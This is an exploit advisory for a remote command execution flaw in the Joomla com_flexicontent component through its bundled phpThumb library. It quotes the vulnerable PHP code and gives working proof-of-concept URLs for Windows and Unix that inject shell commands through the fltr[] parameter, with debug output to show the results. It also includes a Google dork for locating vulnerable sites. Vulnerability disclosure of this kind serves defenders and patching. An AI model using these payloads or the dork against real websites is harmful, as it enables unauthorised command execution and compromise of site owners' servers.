# Exploit Title: Joomla com_flexicontent Remote Code Execution
# Release Date: 08/12/2013
# Author: Deepankar Arora And Rafay Baloch
# Contact: http://rafayhackingarticles.net
# Vendor: http://www.flexicontent.org/
# Versions Affected: 2.1.3(Latest) and earlier
# Google Dork: inurl:com_flexicontent
*----*
*Description:*
The vulnerability with phpthumb with a known vulnerability, however it has
been included with com_flexicontent package.
The exploit is nested in the "SafeExec" function, but the vulnerable
parameter is passed to "ImageMagickThumbnailToGD".
The vulnerable code is as follows:
foreach ($this->fltr as $filterkey => $filtercommand) {
@list($command, $parameter) = explode('|', $filtercommand, 2);
switch ($command) {
case 'blur':
if ($this->ImageMagickSwitchAvailable('blur')) {
@list($radius) = explode('|', $parameter);
$radius = ($radius ? $radius : 1);
$commandline .= ' -blur '.$radius;
unset($this->fltr[$filterkey]);
}
break;
$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__,
__LINE__);
$IMresult = phpthumb_functions::SafeExec($commandline);
clearstatcache();
if (@$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {
@unlink($IMtempSourceFilename);
}
if (!@file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {
$this->FatalError('ImageMagick failed with message
('.trim($IMresult).')');
$this->DebugMessage('ImageMagick failed with message
('.trim($IMresult).')', __FILE__, __LINE__);
Here the vulnerable parameter is fltr[] as the params passed is exploded by
the pipe (|) character, and that's where the code is passed.
How the command is processed:
$output = array();
$lastline = $execfunction($command, $output);
$returnvalue = implode("\n", $output);
As we can see the $command parameter is compiled with the imagemagick path,
filename and parameters. Even the phpThumbDebug parameter gives us a
console like account of everything imagemagick does as it executes.
*----*
*POC:*
*Windows-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality 75 -interlace line fail.jpg jpeg:fail.jpg %26%26 dir %26%26
&phpThumbDebug=9
*nix-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality 75 -interlace line fail.jpg jpeg:fail.jpg ; ls -l ;
&phpThumbDebug=9
*----*
*Fix:*
Replace the phpthumb package being used with the latest version.
*----*
*References:*
http://www.cvedetails.com/cve/CVE-2010-1598/
*----*
Warm Regards,
Deepankar Arora and Rafay Baloch
RHA Infosec
